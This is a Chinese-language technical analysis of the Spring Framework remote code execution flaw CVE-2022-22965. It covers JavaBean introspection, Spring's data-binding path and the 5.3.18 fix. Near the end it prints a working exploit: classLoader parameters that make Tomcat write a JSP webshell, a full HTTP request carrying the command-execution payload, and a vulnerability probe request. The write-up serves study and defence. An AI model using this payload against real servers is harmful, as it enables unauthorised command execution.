本文分享自华为云社区《CVE-2022-22965 漏洞分析》,作者:Xuuuu。
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv
一个典型的 Bean 对象如下
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
通过 private 定义属性 通过 public getXyz/setXyz 来读写的 class 被称为 JavaBean [^1]
java.beans.Introspector [^2] 提供一套标准的方法来访问 javaBean 中的属性、方法、事件,会搜索 Bean 本身并一路往上搜索父类来获取信息。如通过 java.beans.PropertyDescriptor 来获取属性相关的信息(name/getter/setter/...)
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
也可以通过内省操作来进行赋值操作
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
提供了一套简单的api来进行 JavaBean 的操作,以及一些高级特性(嵌套属性、批量读写等)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值
调用setPropertyValue方法通过 setter 来设置属性
processKeyedProperty 设置 Array/List… 对象
processLocalProperty 设置简单 Bean 对象
getLocalPropertyHandler 获取属性描述符
getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
CachedIntrospectionResults#forClass 为当前Bean创建缓存
…
setValue 通过反射调用 setter 进行赋值
以如下的 controller 为例,跟踪 spring 参数绑定的过程
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
官方在 5.3.18 修复了这个问题,查看 Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤。查看相关调用
结合上文的内容不难推断,Spring在进行参数绑定时调用的 BeanWrapperImpl在进行JavaBean操作时触发了此漏洞。
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过。
目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的。
例如向 webapps/shell.jsp 写入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
就可以利用 shell.jsp?a=cmd 来执行命令了
一些其他利用细节可以参考:关于Spring framework rce(CVE-2022-22965)的一些问题思考
Spring 在获取属性描述符时加强了判断,只留下了 name 属性。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
通过错误地设置 classloader 下的属性来触发 BindException异常让服务端返回异常即可判断是否存在漏洞,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
服务端返回
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
[^1]: JavaBeans - Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 属性注入(三)AbstractNestablePropertyAccessor - binarylei - 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析 - Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) - The Valve Component
版权说明 : 本文为转载文章, 版权归原作者所有 版权申明
原文链接 : https://huaweicloud.blog.csdn.net/article/details/124171282
内容来源于网络,如有侵权,请联系作者删除!